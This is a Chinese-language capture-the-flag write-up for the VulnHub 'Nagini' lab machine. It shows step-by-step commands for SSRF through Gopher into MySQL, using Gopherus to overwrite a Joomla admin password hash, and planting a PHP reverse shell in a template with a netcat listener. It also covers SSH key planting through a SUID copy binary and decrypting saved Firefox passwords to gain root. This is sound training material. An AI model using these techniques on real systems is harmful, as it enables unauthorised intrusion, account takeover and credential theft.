靶机介绍

1)靶机地址:https://download.vulnhub.com/harrypotter/Nagini.ova

2)靶机难度:中→高(打点较难)

3)打靶目标: 取得 root 权限 + 3 Flag

4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、HTTP3协议、域名绑定、SSRF漏洞(Gopher + Mysql)、Joomla漏洞、SSH公钥登录、浏览器密码还原

5)靶机简介:HTTP2的时代还没有全面到来,可本次的打靶课却不得不面对HTTP3,这是一种基于UDP协议的未来HTTP版本。本次这台靶机,无论是突破边界还是本地提权,都是那么的与众不同。搞定了HTTP3协议之后,才可以面对SSRF漏洞,这也是本次打靶的重点与难点。需要利用SSRF漏洞,通过Gopher协议与后端MySQL数据库进行通信,利用插入的SQL语句,对数据库进行查询和修改,甚至直接改掉CMS的管理员帐号密码。一旦控制CMS后台,总是有很多方法可以实现突破边界的目标。本次的靶机需要两次提权,在最后的提权阶段没有利用任何漏洞,而是直接从浏览器文件中还原出了管理员的帐号和密码,这通常是一种针对客户端的攻击手段。

打靶过程

1)主机发现

# arp-scan --interface=eth1 --localnet

2)全端口扫描

# nmap -p- 192.168.56.124

3)服务版本扫描

# nmap -p22,80 -sC -sV 192.168.56.124

4)访问靶机的IP地址的80端口:发现首页只是一个图片,且在源码中也未发现其他有用的信息

5)对目标web系统进行路径爬取

# dirsearch -u http://192.168.56.124

通过路径爬取,发现了一个joomla的CMS系统

6)访问爬取到的地址,同时在登录框出进行常见弱口令的尝试登录后,发现无法正常登录

http://192.168.56.124/joomla/

http://192.168.56.124/joomla/administrator/

7)指定文件扩展名进行路径的爬取

# dirsearch -u http://192.168.56.124 -f -e html,php,txt -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt

爬取发现,在根目录下存在一个note.txt的文档,返回返回如下内容:提示通过htt3的方式访问域名quic.nagini.hogwarts

8)在hosts文件绑定域名

但是实际通过浏览器是不能访问网页的,根据note.txt中的提示:访问所有的页面都需要使用http3的协议类型,但是目前的浏览器都是不支持http3协议的。为了使用HTTP3协议访问域名,需要安装支持http3的客户端程序

9)安装quiche客户端

①下载软件包:https://github.com/cloudflare/quiche

②安装cargo组件

# apt install cargo

③安装cmake组件

# apt install cmake

④卸载系统自带的rustc

# apt purge rustc

⑤重新安装最新版本的rustc(选择1)

# proxychains curl --proto 'https' --tlsv1.2 -ssf https://sh.rustup.rs |sh

⑥执行环境变量

# source "$HOME/.cargo/env"

⑦运行cargo默认实例的文件

# proxychains cargo build --examples

⑧对前面所有安装的命令进行检查

#cargo test

10)利用http3的客户端去访问目标靶机

#cd ./target/debug/examples#./http3-client https://quic.nagini.hogwarts

根据上述提示可知,存在一个/internalResourceFeTcher.php的文件。且在目标服务器上存在一些.bak的备份配置文件

11)通过浏览器发现可以打开该页面

http://192.168.56.124/internalResourceFeTcher.php

根据提示可知,通过如上表单可以访问内部网络资源

①通过file协议是否能查看到本机的文件

file:///etc/passwd

②查看当前靶机自己的http服务

通过上述两次测试,可确定在该表单位置存在一个ssrf的漏洞

SSRF漏洞:服务器端请求伪造漏洞,通过该漏洞攻击者可以向服务器端提交一些内部的、后端的资源的路径,让存在ssrf漏洞的web应用作为一个跳板去访问后端的资源,即让服务端向后端资源发起一个伪造的请求。所以ssrf漏洞被经常用于攻击者攻击企业内部网络的基础架构

12)使用gophor协议合后端的服务或应用进行交互(后端服务是基于tcp协议的)

gopher://127.0.0.1:22

通过使用gopher协议访问目标服务器的22端口,返回了上述信息,说明通过gopher协议是可以请求后端应用的。此时可以对内网的地址进行端口扫描,若返回页面是快速的,说明该端口关闭,如果返回页面缓慢,说明端口是开放的

13)根据第十步的提示可知,有可能在服务器存在配置文件的备份文件,互联网搜索joomla该CMS的配置文件所在的路径,猜测是否存在.bak的配置文件

http://192.168.56.124/joomla/configuration.php.bak

15)打开下载的配置文件备份,查看发现数据库的相关信息

16)根据返回的信息,通过gopher协议去请求目标靶机的3306端口,页面返回速度慢,说明目标靶机开放了3306端口

gopher://127.0.0.1:3306

17)通过gophor使用配置文件中获取到的mysql的数据库的用户名和密码,连接至数据库,查询到web应用的后台登录账号

①下载工具:利用该工具可以利用gopher协议类型,结合ssrf漏洞,向目标服务器发送各种后端的协议指令请求

# proxychains git clone https://github.com/tarunkant/Gopherus.git

②使用工具查询

# ./gopherus.py --exploit mysql# cd Gopherus# ./gopherus.py --exploit mysqlGive MySQL username: goblin                            #输入连接数据库的用户名Give query to execute: use joomla; show tables;        #输入查询语句

执行完上述操作后,就会生成一串gopher协议的payload,使用padyload在表单中进行提交,即可返回数据库中所有表的信息(需要多次提交,才会回显)

③更具user表查询用户名和密码

# ./gopherus.py --exploit mysqlGive MySQL username: goblin                            #输入连接数据库的用户名Give query to execute: use joomla; use joomla; select * from joomla_users;    

18)修改site_admin用户的密码

# echo -n 123|md5sum                                #先通过md5生成一串密文信息202cb962ac59075b964b07152d234b70  -# ./gopherus.py --exploit mysqlGive MySQL username: goblin                            #输入连接数据库的用户名Give query to execute: use joomla; update joomla_users SET password='202cb962ac59075b964b07152d234b70'  WHERE username='site_admin'

使用上述生成的payload在表单中多次提交,保障修改密码操作被执行

19)使用用户名site_admin和密码123成功登录至web系统后台

http://192.168.56.124/joomla/administrator/

20)进入后台后,查看模板信息,在已存在的模板中,修改或者添加反弹shell的源码信息

①获取到php的反弹shell的代码

# cat /usr/share/webshells/php/php-reverse-shell.php

②修改模板中的error.php文件,并保存

21)访问反弹shell的php页面,并在kali主机进行监听

浏览器:http://192.168.56.124/joomla/templates/beez3/error.phpkali:# nc -lvvp 4444

22)突破边界后,在/var/www/html下查到第一个flag信息

$ cd /var/www/html$ cat horcrux1.tx

23)在home目录下存在两个目录,进入hermoine用户目录,查看到第二个flag文件,但是无权限打开,进入snape目录,查看到.creds.txt文件,查看文件内容是一串base64编码的字符串,解码后为Love@lilly

$ cd /home/$ ls -l$ cd hermoine$ ls -l$ cat horcrux2.txt$ cd ../snape$ ls -la$ cat .creds.txt# echo TG92ZUBsaWxseQ==  | base64 -d Love@lilly

24)通过用户名snape和密码Love@lilly可成功登入到目标靶机

# ssh snape@192.168.56.124

25)通过snape用户登录成功后,在/home/hermoine/bin目录下发现了su_cp的可执行文件,且该文件开启了SUID权限,属主为hermoine,即该文件运行时会以hermoine用户的身份去运行

26)通过简单查看该可执行文件的帮助,发现该命令主要用于拷贝文档

27)此时可以在kali主机上生成ssh的公钥,然后以snape用户的权限将公钥拷贝到目标靶机上,然后利用su_cp命令将kali主机的公钥从snape用户拷贝到hermoine用户中。完成后kali即可直接通过公钥登录至目标靶机,不需要密码

kali:# ssh-keygen#scp .ssh/id_rsa.pub snape@192.168.56.124:~靶机:snape@Nagini:$ ls -lsnape@Nagini:$ mv id_rsa.pub authorized_keyssnape@Nagini:$ chmod 640 authorized_keys snape@Nagini:$ cd /home/hermoine/binsnape@Nagini:$ ./su_cp /home/snape/authorized_keys /home/hermoine/.ssh/snape@Nagini:$ /home/hermoine/bin$ ls -l /home/hermoine/.ssh/

28)将公钥传输到目标靶机后,即可成功通过ssh使用hermoine用户无密码登录至目标靶机,获取到第二个flag

# ssh hermoine@192.168.56.124

29)通过信息搜集发现在hermoine用户的家目录下存在一个.mozilla的文件夹,该文件夹是在linux操作系统中使用firefox浏览器后,在当前用户的加目录下就会生成给.mozilla目录,进入该文件夹,可以发现当前浏览器中的安装的扩展包、配置信息及包括浏览器登录某些web应用后记录下的用户名和密码信息

①先使用hermoine账号,将.mozilla文件夹拷贝到kali主机

# scp -rp hermoine@192.168.56.124:/home/hermoine/.mozilla /tmp# ls -la /tmp

②安装可以从firefox浏览器中提取信息的工具firefox_decrypt

下载地址:https://github.com/unode/firefox_decrypt# unzip firefox_decrypt-master.zip# rm -rf firefox_decrypt-master.zip# cd firefox_decrypt-master# ls# python3 firefox_decrypt.py /tmp/.mozilla/firefox

30)直接通过获取到的用户名和密码,可直接使用ssh登陆至靶机,获取到第三个flag及root权限

# ssh root@192.168.56.124